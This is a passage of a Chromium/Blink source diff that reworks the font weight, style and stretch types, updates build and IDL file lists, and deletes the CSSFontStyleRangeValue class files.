 
 {% for feature in features %}
 {% if feature.origin_trial_feature_name %}
+CORE_EXPORT extern const char k{{feature.name}}TrialName[];
+{% endif %}
+{% endfor %}
+
+{% for feature in features %}
+{% if feature.origin_trial_feature_name %}
 CORE_EXPORT bool {{feature.first_lowered_name}}Enabled(ExecutionContext*);
 {% endif %}
 {% endfor %}
diff --git a/third_party/WebKit/Source/core/BUILD.gn b/third_party/WebKit/Source/core/BUILD.gn
index 721fdd6..160122c 100644
--- a/third_party/WebKit/Source/core/BUILD.gn
+++ b/third_party/WebKit/Source/core/BUILD.gn
@@ -1254,7 +1254,6 @@
     "css/CSSTestHelper.h",
     "css/CSSValueTestHelper.h",
     "css/DragUpdateTest.cpp",
-    "css/FontFaceCacheTest.cpp",
     "css/MediaQueryEvaluatorTest.cpp",
     "css/MediaQueryListTest.cpp",
     "css/MediaQueryMatcherTest.cpp",
@@ -1334,6 +1333,7 @@
     "events/WebInputEventConversionTest.cpp",
     "exported/FakeWebPlugin.cpp",
     "exported/FakeWebPlugin.h",
+    "exported/LocalFrameClientImplTest.cpp",
     "exported/PrerenderingTest.cpp",
     "exported/WebAssociatedURLLoaderImplTest.cpp",
     "exported/WebDocumentSubresourceFilterTest.cpp",
@@ -1367,7 +1367,6 @@
     "frame/OriginsUsingFeaturesTest.cpp",
     "frame/PerformanceMonitorTest.cpp",
     "frame/RootFrameViewportTest.cpp",
-    "frame/SubresourceIntegrityTest.cpp",
     "frame/UseCounterTest.cpp",
     "frame/VisualViewportTest.cpp",
     "frame/csp/CSPDirectiveListTest.cpp",
@@ -1464,7 +1463,7 @@
     "layout/LayoutTextTest.cpp",
     "layout/LayoutThemeTest.cpp",
     "layout/MapCoordinatesTest.cpp",
-    "layout/MinMaxSizeTest.cc",
+    "layout/MinMaxSizeTest.cpp",
     "layout/MultiColumnFragmentainerGroupTest.cpp",
     "layout/OverflowModelTest.cpp",
     "layout/PaginationTest.cpp",
diff --git a/third_party/WebKit/Source/core/animation/CSSFontWeightInterpolationType.cpp b/third_party/WebKit/Source/core/animation/CSSFontWeightInterpolationType.cpp
index fdacbc0..6d3ce8f 100644
--- a/third_party/WebKit/Source/core/animation/CSSFontWeightInterpolationType.cpp
+++ b/third_party/WebKit/Source/core/animation/CSSFontWeightInterpolationType.cpp
@@ -16,12 +16,12 @@
     : public CSSInterpolationType::CSSConversionChecker {
  public:
   static std::unique_ptr<InheritedFontWeightChecker> Create(
-      FontSelectionValue font_weight) {
+      FontWeight font_weight) {
     return WTF::WrapUnique(new InheritedFontWeightChecker(font_weight));
   }
 
  private:
-  InheritedFontWeightChecker(FontSelectionValue font_weight)
+  InheritedFontWeightChecker(FontWeight font_weight)
       : font_weight_(font_weight) {}
 
   bool IsValid(const StyleResolverState& state,
@@ -33,8 +33,9 @@
 };
 
 InterpolationValue CSSFontWeightInterpolationType::CreateFontWeightValue(
-    FontSelectionValue font_weight) const {
-  return InterpolationValue(InterpolableNumber::Create(font_weight));
+    FontWeight font_weight) const {
+  return InterpolationValue(
+      InterpolableNumber::Create(FontWeightToDouble(font_weight)));
 }
 
 InterpolationValue CSSFontWeightInterpolationType::MaybeConvertNeutral(
@@ -46,7 +47,7 @@
 InterpolationValue CSSFontWeightInterpolationType::MaybeConvertInitial(
     const StyleResolverState&,
     ConversionCheckers& conversion_checkers) const {
-  return CreateFontWeightValue(NormalWeightValue());
+  return CreateFontWeightValue(kFontWeightNormal);
 }
 
 InterpolationValue CSSFontWeightInterpolationType::MaybeConvertInherit(
@@ -54,8 +55,7 @@
     ConversionCheckers& conversion_checkers) const {
   if (!state.ParentStyle())
     return nullptr;
-  FontSelectionValue inherited_font_weight =
-      state.ParentStyle()->GetFontWeight();
+  FontWeight inherited_font_weight = state.ParentStyle()->GetFontWeight();
   conversion_checkers.push_back(
       InheritedFontWeightChecker::Create(inherited_font_weight));
   return CreateFontWeightValue(inherited_font_weight);
@@ -65,38 +65,31 @@
     const CSSValue& value,
     const StyleResolverState* state,
     ConversionCheckers& conversion_checkers) const {
-  if (value.IsPrimitiveValue()) {
-    return CreateFontWeightValue(
-        FontSelectionValue(ToCSSPrimitiveValue(value).GetFloatValue()));
-  }
+  if (!value.IsIdentifierValue())
+    return nullptr;
 
-  CHECK(value.IsIdentifierValue());
   const CSSIdentifierValue& identifier_value = ToCSSIdentifierValue(value);
   CSSValueID keyword = identifier_value.GetValueID();
 
   switch (keyword) {
     case CSSValueInvalid:
       return nullptr;
-    case CSSValueNormal:
-      return CreateFontWeightValue(NormalWeightValue());
 
     case CSSValueBolder:
     case CSSValueLighter: {
       DCHECK(state);
-      FontSelectionValue inherited_font_weight =
-          state->ParentStyle()->GetFontWeight();
+      FontWeight inherited_font_weight = state->ParentStyle()->GetFontWeight();
       conversion_checkers.push_back(
           InheritedFontWeightChecker::Create(inherited_font_weight));
-      if (keyword == CSSValueBolder) {
+      if (keyword == CSSValueBolder)
         return CreateFontWeightValue(
             FontDescription::BolderWeight(inherited_font_weight));
-      }
       return CreateFontWeightValue(
           FontDescription::LighterWeight(inherited_font_weight));
     }
+
     default:
-      NOTREACHED();
-      return nullptr;
+      return CreateFontWeightValue(identifier_value.ConvertTo<FontWeight>());
   }
 }
 
diff --git a/third_party/WebKit/Source/core/animation/CSSFontWeightInterpolationType.h b/third_party/WebKit/Source/core/animation/CSSFontWeightInterpolationType.h
index e849378d..12b40295 100644
--- a/third_party/WebKit/Source/core/animation/CSSFontWeightInterpolationType.h
+++ b/third_party/WebKit/Source/core/animation/CSSFontWeightInterpolationType.h
@@ -6,6 +6,7 @@
 #define CSSFontWeightInterpolationType_h
 
 #include "core/animation/CSSInterpolationType.h"
+#include "platform/fonts/FontTraits.h"
 
 namespace blink {
 
@@ -23,7 +24,7 @@
                                   StyleResolverState&) const final;
 
  private:
-  InterpolationValue CreateFontWeightValue(FontSelectionValue) const;
+  InterpolationValue CreateFontWeightValue(FontWeight) const;
   InterpolationValue MaybeConvertNeutral(const InterpolationValue& underlying,
                                          ConversionCheckers&) const final;
   InterpolationValue MaybeConvertInitial(const StyleResolverState&,
diff --git a/third_party/WebKit/Source/core/animation/FontWeightConversion.cpp b/third_party/WebKit/Source/core/animation/FontWeightConversion.cpp
index 068073a3..5790ad7c 100644
--- a/third_party/WebKit/Source/core/animation/FontWeightConversion.cpp
+++ b/third_party/WebKit/Source/core/animation/FontWeightConversion.cpp
@@ -9,13 +9,37 @@
 
 namespace blink {
 
-FontSelectionValue DoubleToFontWeight(double value) {
-  // Until we allow continuous animations for font weight in a subsequent CL
-  // (crbug.com/739334), convert to a discrete font weight value here.
-  static const FontSelectionValue kFontWeights[] = {
-      FontSelectionValue(100), FontSelectionValue(200), FontSelectionValue(300),
-      FontSelectionValue(400), FontSelectionValue(500), FontSelectionValue(600),
-      FontSelectionValue(700), FontSelectionValue(800), FontSelectionValue(900),
+double FontWeightToDouble(FontWeight font_weight) {
+  switch (font_weight) {
+    case kFontWeight100:
+      return 100;
+    case kFontWeight200:
+      return 200;
+    case kFontWeight300:
+      return 300;
+    case kFontWeight400:
+      return 400;
+    case kFontWeight500:
+      return 500;
+    case kFontWeight600:
+      return 600;
+    case kFontWeight700:
+      return 700;
+    case kFontWeight800:
+      return 800;
+    case kFontWeight900:
+      return 900;
+    default:
+      NOTREACHED();
+      return 400;
+  }
+}
+
+FontWeight DoubleToFontWeight(double value) {
+  static const FontWeight kFontWeights[] = {
+      kFontWeight100, kFontWeight200, kFontWeight300,
+      kFontWeight400, kFontWeight500, kFontWeight600,
+      kFontWeight700, kFontWeight800, kFontWeight900,
   };
 
   int index = round(value / 100 - 1);
diff --git a/third_party/WebKit/Source/core/animation/FontWeightConversion.h b/third_party/WebKit/Source/core/animation/FontWeightConversion.h
index 538c0b4..6378c3a 100644
--- a/third_party/WebKit/Source/core/animation/FontWeightConversion.h
+++ b/third_party/WebKit/Source/core/animation/FontWeightConversion.h
@@ -5,11 +5,12 @@
 #ifndef FontWeightConversion_h
 #define FontWeightConversion_h
 
-#include "platform/fonts/FontSelectionTypes.h"
+#include "platform/fonts/FontTraits.h"
 
 namespace blink {
 
-FontSelectionValue DoubleToFontWeight(double value);
+double FontWeightToDouble(FontWeight);
+FontWeight DoubleToFontWeight(double value);
 
 }  // namespace blink
 
diff --git a/third_party/WebKit/Source/core/core_idl_files.gni b/third_party/WebKit/Source/core/core_idl_files.gni
index dad0e11..10f8e87 100644
--- a/third_party/WebKit/Source/core/core_idl_files.gni
+++ b/third_party/WebKit/Source/core/core_idl_files.gni
@@ -160,9 +160,13 @@
                     "fileapi/FileReader.idl",
                     "fileapi/FileReaderSync.idl",
                     "frame/BarProp.idl",
+                    "frame/DeprecationReport.idl",
                     "frame/External.idl",
                     "frame/History.idl",
                     "frame/Location.idl",
+                    "frame/Report.idl",
+                    "frame/ReportBody.idl",
+                    "frame/ReportingObserver.idl",
                     "frame/VisualViewport.idl",
                     "geometry/DOMMatrix.idl",
                     "geometry/DOMMatrixReadOnly.idl",
diff --git a/third_party/WebKit/Source/core/css/BUILD.gn b/third_party/WebKit/Source/core/css/BUILD.gn
index b687d32..f2d4cae 100644
--- a/third_party/WebKit/Source/core/css/BUILD.gn
+++ b/third_party/WebKit/Source/core/css/BUILD.gn
@@ -57,8 +57,6 @@
     "CSSFontSelector.cpp",
     "CSSFontSelector.h",
     "CSSFontSelectorClient.h",
-    "CSSFontStyleRangeValue.cpp",
-    "CSSFontStyleRangeValue.h",
     "CSSFontVariationValue.cpp",
     "CSSFontVariationValue.h",
     "CSSFunctionValue.cpp",
@@ -195,6 +193,8 @@
     "FontFaceSource.h",
     "FontSize.cpp",
     "FontSize.h",
+    "FontStyleMatcher.cpp",
+    "FontStyleMatcher.h",
     "HashTools.h",
     "KeyframeStyleRuleCSSStyleDeclaration.cpp",
     "KeyframeStyleRuleCSSStyleDeclaration.h",
diff --git a/third_party/WebKit/Source/core/css/CSSFontFace.cpp b/third_party/WebKit/Source/core/css/CSSFontFace.cpp
index 2ec7efd..6553a8f9 100644
--- a/third_party/WebKit/Source/core/css/CSSFontFace.cpp
+++ b/third_party/WebKit/Source/core/css/CSSFontFace.cpp
@@ -144,6 +144,7 @@
   FontFamily font_family;
   font_family.SetFamily(font_face_->family());
   font_description.SetFamily(font_family);
+  font_description.SetTraits(font_face_->Traits());
   Load(font_description);
 }
 
diff --git a/third_party/WebKit/Source/core/css/CSSFontFaceSource.cpp b/third_party/WebKit/Source/core/css/CSSFontFaceSource.cpp
index 31f0dbc..71282d5 100644
--- a/third_party/WebKit/Source/core/css/CSSFontFaceSource.cpp
+++ b/third_party/WebKit/Source/core/css/CSSFontFaceSource.cpp
@@ -48,6 +48,9 @@
     return CreateFontData(font_description);
   }
 
+  // See if we have a mapping in our FontData cache.
+  // TODO(drott): Check whether losing traits information here is problematic.
+  // crbug.com/516677
   FontCacheKey key = font_description.CacheKey(FontFaceCreationParams());
 
   RefPtr<SimpleFontData>& font_data =
diff --git a/third_party/WebKit/Source/core/css/CSSFontFaceSourceTest.cpp b/third_party/WebKit/Source/core/css/CSSFontFaceSourceTest.cpp
index fa1ead8..c0ea616e 100644
--- a/third_party/WebKit/Source/core/css/CSSFontFaceSourceTest.cpp
+++ b/third_party/WebKit/Source/core/css/CSSFontFaceSourceTest.cpp
@@ -44,9 +44,9 @@
   DummyFontFaceSource font_face_source;
   // Even if the hash value collide, fontface cache should return different
   // value for different fonts.
-  EXPECT_EQ(SimulateHashCalculation(2), SimulateHashCalculation(4925));
-  EXPECT_NE(font_face_source.GetFontDataForSize(2),
-            font_face_source.GetFontDataForSize(4925));
+  EXPECT_EQ(SimulateHashCalculation(8775), SimulateHashCalculation(418));
+  EXPECT_NE(font_face_source.GetFontDataForSize(8775),
+            font_face_source.GetFontDataForSize(418));
 }
 
 }  // namespace blink
diff --git a/third_party/WebKit/Source/core/css/CSSFontFaceSrcValue.h b/third_party/WebKit/Source/core/css/CSSFontFaceSrcValue.h
index 3de641a..be82cf0 100644
--- a/third_party/WebKit/Source/core/css/CSSFontFaceSrcValue.h
+++ b/third_party/WebKit/Source/core/css/CSSFontFaceSrcValue.h
@@ -37,7 +37,7 @@
 
 class Document;
 
-class CORE_EXPORT CSSFontFaceSrcValue : public CSSValue {
+class CSSFontFaceSrcValue : public CSSValue {
  public:
   static CSSFontFaceSrcValue* Create(
       const String& specified_resource,
diff --git a/third_party/WebKit/Source/core/css/CSSFontFamilyValue.h b/third_party/WebKit/Source/core/css/CSSFontFamilyValue.h
index a29cb7c6..2fe02bff 100644
--- a/third_party/WebKit/Source/core/css/CSSFontFamilyValue.h
+++ b/third_party/WebKit/Source/core/css/CSSFontFamilyValue.h
@@ -10,7 +10,7 @@
 
 namespace blink {
 
-class CORE_EXPORT CSSFontFamilyValue : public CSSValue {
+class CSSFontFamilyValue : public CSSValue {
  public:
   static CSSFontFamilyValue* Create(const String& family_name);
 
diff --git a/third_party/WebKit/Source/core/css/CSSFontStyleRangeValue.cpp b/third_party/WebKit/Source/core/css/CSSFontStyleRangeValue.cpp
deleted file mode 100644
index 4c2793b..0000000
--- a/third_party/WebKit/Source/core/css/CSSFontStyleRangeValue.cpp
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2017 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include "CSSFontStyleRangeValue.h"
-
-#include "platform/wtf/text/StringBuilder.h"
-
-namespace blink {
-
-String CSSFontStyleRangeValue::CustomCSSText() const {
-  if (!oblique_values_)
-    return font_style_value_->CssText();
-
-  StringBuilder builder;
-  builder.Append(font_style_value_->CssText());
-  builder.Append(" ");
-  builder.Append(oblique_values_->CssText());
-  return builder.ToString();
-}
-
-bool CSSFontStyleRangeValue::Equals(const CSSFontStyleRangeValue& other) const {
-  if (!oblique_values_)
-    return font_style_value_ == other.font_style_value_;
-  return font_style_value_ == other.font_style_value_ &&
-         *oblique_values_ == *other.oblique_values_;
-}
-
-DEFINE_TRACE_AFTER_DISPATCH(CSSFontStyleRangeValue) {
-  visitor->Trace(font_style_value_);
-  visitor->Trace(oblique_values_);
-  CSSValue::TraceAfterDispatch(visitor);
-}
-
-}  // namespace blink
diff --git a/third_party/WebKit/Source/core/css/CSSFontStyleRangeValue.h b/third_party/WebKit/Source/core/css/CSSFontStyleRangeValue.h
deleted file mode 100644
index 90bd77c..0000000
--- a/third_party/WebKit/Source/core/css/CSSFontStyleRangeValue.h
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2017 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#ifndef CSSFontStyleRangeValue_h
-#define CSSFontStyleRangeValue_h
-
-#include "CSSIdentifierValue.h"
-#include "CSSValueList.h"
-
-namespace blink {
-
-class CSSFontStyleRangeValue final : public CSSValue {
- public:
-  static CSSFontStyleRangeValue* Create(
-      const CSSIdentifierValue& font_style_value) {
-    return new CSSFontStyleRangeValue(font_style_value);
-  }
-  static CSSFontStyleRangeValue* Create(
-      const CSSIdentifierValue& font_style_value,
-      const CSSValueList& oblique_values) {
-    return new CSSFontStyleRangeValue(font_style_value, oblique_values);
-  }
-
-  const CSSIdentifierValue* GetFontStyleValue() const {
-    return font_style_value_.Get();
-  }
-  const CSSValueList* GetObliqueValues() const { return oblique_values_.Get(); }
-
-  String CustomCSSText() const;
-
-  bool Equals(const CSSFontStyleRangeValue&) const;
-
-  DECLARE_TRACE_AFTER_DISPATCH();
-
- private:
-  CSSFontStyleRangeValue(const CSSIdentifierValue& font_style_value,
-                         const CSSValueList& oblique_values)
-      : CSSValue(kFontStyleRangeClass),
-        font_style_value_(&font_style_value),
-        oblique_values_(&oblique_values) {}
-
-  CSSFontStyleRangeValue(const CSSIdentifierValue& font_style_value)
-      : CSSValue(kFontStyleRangeClass),
-        font_style_value_(&font_style_value),
-        oblique_values_(nullptr) {}
-
-  Member<const CSSIdentifierValue> font_style_value_;
-  Member<const CSSValueList> oblique_values_;
-};
-
-DEFINE_CSS_VALUE_TYPE_CASTS(CSSFontStyleRangeValue, IsFontStyleRangeValue());
-
-}  // namespace blink
-
-#endif
diff --git a/third_party/WebKit/Source/core/css/CSSPrimitiveValueMappings.h b/third_party/WebKit/Source/core/css/CSSPrimitiveValueMappings.h
index d8b6042..73fe941d 100644
--- a/third_party/WebKit/Source/core/css/CSSPrimitiveValueMappings.h
+++ b/third_party/WebKit/Source/core/css/CSSPrimitiveValueMappings.h
@@ -941,15 +941,36 @@
 }
 
 template <>
-inline CSSIdentifierValue::CSSIdentifierValue(FontSelectionValueStyle italic)
+inline CSSIdentifierValue::CSSIdentifierValue(FontWeight weight)
     : CSSValue(kIdentifierClass) {
-  if (italic == NormalSlopeValue()) {
-    value_id_ = CSSValueNormal;
-    return;
-  }
-  if (italic == ItalicSlopeValue()) {
-    value_id_ = CSSValueItalic;
-    return;
+  switch (weight) {
+    case kFontWeight900:
+      value_id_ = CSSValue900;
+      return;
+    case kFontWeight800:
+      value_id_ = CSSValue800;
+      return;
+    case kFontWeight700:
+      value_id_ = CSSValueBold;
+      return;
+    case kFontWeight600:
+      value_id_ = CSSValue600;
+      return;
+    case kFontWeight500:
+      value_id_ = CSSValue500;
+      return;
+    case kFontWeight400:
+      value_id_ = CSSValueNormal;
+      return;
+    case kFontWeight300:
+      value_id_ = CSSValue300;
+      return;
+    case kFontWeight200:
+      value_id_ = CSSValue200;
+      return;
+    case kFontWeight100:
+      value_id_ = CSSValue100;
+      return;
   }
 
   NOTREACHED();
@@ -957,58 +978,104 @@
 }
 
 template <>
-inline FontSelectionValueStyle CSSIdentifierValue::ConvertTo() const {
+inline FontWeight CSSIdentifierValue::ConvertTo() const {
+  switch (value_id_) {
+    case CSSValueBold:
+      return kFontWeightBold;
+    case CSSValueNormal:
+      return kFontWeightNormal;
+    case CSSValue900:
+      return kFontWeight900;
+    case CSSValue800:
+      return kFontWeight800;
+    case CSSValue700:
+      return kFontWeight700;
+    case CSSValue600:
+      return kFontWeight600;
+    case CSSValue500:
+      return kFontWeight500;
+    case CSSValue400:
+      return kFontWeight400;
+    case CSSValue300:
+      return kFontWeight300;
+    case CSSValue200:
+      return kFontWeight200;
+    case CSSValue100:
+      return kFontWeight100;
+    default:
+      break;
+  }
+
+  NOTREACHED();
+  return kFontWeightNormal;
+}
+
+template <>
+inline CSSIdentifierValue::CSSIdentifierValue(FontStyle italic)
+    : CSSValue(kIdentifierClass) {
+  switch (italic) {
+    case kFontStyleNormal:
+      value_id_ = CSSValueNormal;
+      return;
+    case kFontStyleOblique:
+      value_id_ = CSSValueOblique;
+      return;
+    case kFontStyleItalic:
+      value_id_ = CSSValueItalic;
+      return;
+  }
+
+  NOTREACHED();
+  value_id_ = CSSValueNormal;
+}
+
+template <>
+inline FontStyle CSSIdentifierValue::ConvertTo() const {
   switch (value_id_) {
     case CSSValueOblique:
+      return kFontStyleOblique;
     case CSSValueItalic:
-      return ItalicSlopeValue();
+      return kFontStyleItalic;
     case CSSValueNormal:
-      return NormalSlopeValue();
+      return kFontStyleNormal;
     default:
       break;
   }
   NOTREACHED();
-  return NormalSlopeValue();
+  return kFontStyleNormal;
 }
 
 template <>
-inline CSSIdentifierValue::CSSIdentifierValue(FontSelectionValueStretch stretch)
+inline CSSIdentifierValue::CSSIdentifierValue(FontStretch stretch)
     : CSSValue(kIdentifierClass) {
-  if (stretch == UltraCondensedWidthValue()) {
-    value_id_ = CSSValueUltraCondensed;
-    return;
-  }
-  if (stretch == ExtraCondensedWidthValue()) {
-    value_id_ = CSSValueExtraCondensed;
-    return;
-  }
-  if (stretch == CondensedWidthValue()) {
-    value_id_ = CSSValueCondensed;
-    return;
-  }
-  if (stretch == SemiCondensedWidthValue()) {
-    value_id_ = CSSValueSemiCondensed;
-    return;
-  }
-  if (stretch == NormalWidthValue()) {
-    value_id_ = CSSValueNormal;
-    return;
-  }
-  if (stretch == SemiExpandedWidthValue()) {
-    value_id_ = CSSValueSemiExpanded;
-    return;
-  }
-  if (stretch == ExpandedWidthValue()) {
-    value_id_ = CSSValueExpanded;
-    return;
-  }
-  if (stretch == ExtraExpandedWidthValue()) {
-    value_id_ = CSSValueExtraExpanded;
-    return;
-  }
-  if (stretch == UltraExpandedWidthValue()) {
-    value_id_ = CSSValueUltraExpanded;
-    return;
+  switch (stretch) {
+    case kFontStretchUltraCondensed:
+      value_id_ = CSSValueUltraCondensed;
+      return;
+    case kFontStretchExtraCondensed:
+      value_id_ = CSSValueExtraCondensed;
+      return;
+    case kFontStretchCondensed:
+      value_id_ = CSSValueCondensed;
+      return;
+    case kFontStretchSemiCondensed:
+      value_id_ = CSSValueSemiCondensed;
+      return;
+    case kFontStretchNormal:
+      value_id_ = CSSValueNormal;
+      return;
+    case kFontStretchSemiExpanded:
+      value_id_ = CSSValueSemiExpanded;
+      return;
+    case kFontStretchExpanded:
+      value_id_ = CSSValueExpanded;
+      return;
+    case kFontStretchExtraExpanded:
+      value_id_ = CSSValueExtraExpanded;
+      return;
+    case kFontStretchUltraExpanded:
+      value_id_ = CSSValueUltraExpanded;
+      return;
   }
 
   NOTREACHED();
@@ -1016,32 +1083,32 @@
 }
 
 template <>
-inline FontSelectionValueStretch CSSIdentifierValue::ConvertTo() const {
+inline FontStretch CSSIdentifierValue::ConvertTo() const {
   switch (value_id_) {
     case CSSValueUltraCondensed:
-      return UltraCondensedWidthValue();
+      return kFontStretchUltraCondensed;
     case CSSValueExtraCondensed:
-      return ExtraCondensedWidthValue();
+      return kFontStretchExtraCondensed;
     case CSSValueCondensed:
-      return CondensedWidthValue();
+      return kFontStretchCondensed;
     case CSSValueSemiCondensed:
-      return SemiCondensedWidthValue();
+      return kFontStretchSemiCondensed;
     case CSSValueNormal:
-      return NormalWidthValue();
+      return kFontStretchNormal;
     case CSSValueSemiExpanded:
-      return SemiExpandedWidthValue();
+      return kFontStretchSemiExpanded;
     case CSSValueExpanded:
-      return ExpandedWidthValue();
+      return kFontStretchExpanded;
     case CSSValueExtraExpanded:
-      return ExtraExpandedWidthValue();
+      return kFontStretchExtraExpanded;
     case CSSValueUltraExpanded:
-      return UltraExpandedWidthValue();
+      return kFontStretchUltraExpanded;
     default:
       break;
   }
 
   NOTREACHED();
-  return NormalWidthValue();
+  return kFontStretchNormal;
 }
 
 template <>
diff --git a/third_party/WebKit/Source/core/css/CSSProperties.json5 b/third_party/WebKit/Source/core/css/CSSProperties.json5
index 4363e091..0b30adf 100644
--- a/third_party/WebKit/Source/core/css/CSSProperties.json5
+++ b/third_party/WebKit/Source/core/css/CSSProperties.json5
@@ -472,7 +472,7 @@
       inherited: true,
       name_for_methods: "Stretch",
       priority: "High",
-      type_name: "FontSelectionValueStretch",
+      type_name: "FontStretch",
     },
     {
       name: "font-style",
@@ -481,7 +481,7 @@
       inherited: true,
       name_for_methods: "Style",
       priority: "High",
-      type_name: "FontSelectionValueStyle",
+      type_name: "FontStyle",
     },
     {
       name: "font-variant-ligatures",
@@ -525,6 +525,7 @@
       interpolable: true,
       name_for_methods: "Weight",
       priority: "High",
+      type_name: "FontWeight",
     },
     {
       name: "font-feature-settings",
@@ -1184,6 +1185,7 @@
     {
       name: "cx",
       api_class: "CSSPropertyAPIStrokeOrLength",
+      api_methods: ["parseSingleValue"],
       converter: "ConvertLength",
       interpolable: true,
       svg: true,
@@ -1191,6 +1193,7 @@
     {
       name: "cy",
       api_class: "CSSPropertyAPIStrokeOrLength",
+      api_methods: ["parseSingleValue"],
       converter: "ConvertLength",
       interpolable: true,
       svg: true,
@@ -2083,6 +2086,7 @@
     {
       name: "r",
       api_class: "CSSPropertyAPIStrokeOrLength",
+      api_methods: ["parseSingleValue"],
       converter: "ConvertLength",
       interpolable: true,
       svg: true,
@@ -2432,6 +2436,7 @@
     {
       name: "stroke-dashoffset",
       api_class: "CSSPropertyAPIStrokeOrLength",
+      api_methods: ["parseSingleValue"],
       converter: "ConvertLength",
       inherited: true,
       interpolable: true,
@@ -2474,6 +2479,7 @@
     {
       name: "stroke-width",
       api_class: "CSSPropertyAPIStrokeOrLength",
+      api_methods: ["parseSingleValue"],
       converter: "ConvertUnzoomedLength",
       inherited: true,
       interpolable: true,
@@ -2804,6 +2810,7 @@
     {
       name: "x",
       api_class: "CSSPropertyAPIStrokeOrLength",
+      api_methods: ["parseSingleValue"],
       converter: "ConvertLength",
       interpolable: true,
       svg: true,
@@ -2811,6 +2818,7 @@
     {
       name: "y",
       api_class: "CSSPropertyAPIStrokeOrLength",
+      api_methods: ["parseSingleValue"],
       converter: "ConvertLength",
       interpolable: true,
       svg: true,
diff --git a/third_party/WebKit/Source/core/css/CSSSegmentedFontFace.cpp b/third_party/WebKit/Source/core/css/CSSSegmentedFontFace.cpp
index e59d7da..0e86bba6 100644
--- a/third_party/WebKit/Source/core/css/CSSSegmentedFontFace.cpp
+++ b/third_party/WebKit/Source/core/css/CSSSegmentedFontFace.cpp
@@ -36,9 +36,8 @@
 
 namespace blink {
 
-CSSSegmentedFontFace::CSSSegmentedFontFace(
-    FontSelectionCapabilities font_selection_capabilities)
-    : font_selection_capabilities_(font_selection_capabilities),
+CSSSegmentedFontFace::CSSSegmentedFontFace(FontTraits traits)
+    : traits_(traits),
       first_non_css_connected_face_(font_faces_.end()),
       approximate_character_count_(0) {}
 
@@ -97,7 +96,9 @@
   if (!IsValid())
     return nullptr;
 
-  FontCacheKey key = font_description.CacheKey(FontFaceCreationParams());
+  FontTraits desired_traits = font_description.Traits();
+  FontCacheKey key =
+      font_description.CacheKey(FontFaceCreationParams(), desired_traits);
 
   RefPtr<SegmentedFontData>& font_data =
       font_data_table_.insert(key, nullptr).stored_value->value;
@@ -111,15 +112,13 @@
     font_data = SegmentedFontData::Create();
 
   FontDescription requested_font_description(font_description);
-
-  const FontSelectionRequest& font_selection_request =
-      font_description.GetFontSelectionRequest();
+  requested_font_description.SetTraits(traits_);
   requested_font_description.SetSyntheticBold(
-      font_selection_capabilities_.weight.maximum < BoldThreshold() &&
-      font_selection_request.weight >= BoldThreshold());
+      traits_.Weight() < kFontWeight600 &&
+      desired_traits.Weight() >= kFontWeight600);
   requested_font_description.SetSyntheticItalic(
-      font_selection_capabilities_.slope.maximum <= NormalSlopeValue() &&
-      font_selection_request.slope >= ItalicThreshold());
+      traits_.Style() == kFontStyleNormal &&
+      desired_traits.Style() == kFontStyleItalic);
 
   for (FontFaceList::reverse_iterator it = font_faces_.rbegin();
        it != font_faces_.rend(); ++it) {
diff --git a/third_party/WebKit/Source/core/css/CSSSegmentedFontFace.h b/third_party/WebKit/Source/core/css/CSSSegmentedFontFace.h
index 69a46541..f8975a4 100644
--- a/third_party/WebKit/Source/core/css/CSSSegmentedFontFace.h
+++ b/third_party/WebKit/Source/core/css/CSSSegmentedFontFace.h
@@ -27,7 +27,7 @@
 #define CSSSegmentedFontFace_h
 
 #include "platform/fonts/FontCacheKey.h"
-#include "platform/fonts/FontSelectionTypes.h"
+#include "platform/fonts/FontTraits.h"
 #include "platform/fonts/SegmentedFontData.h"
 #include "platform/heap/Handle.h"
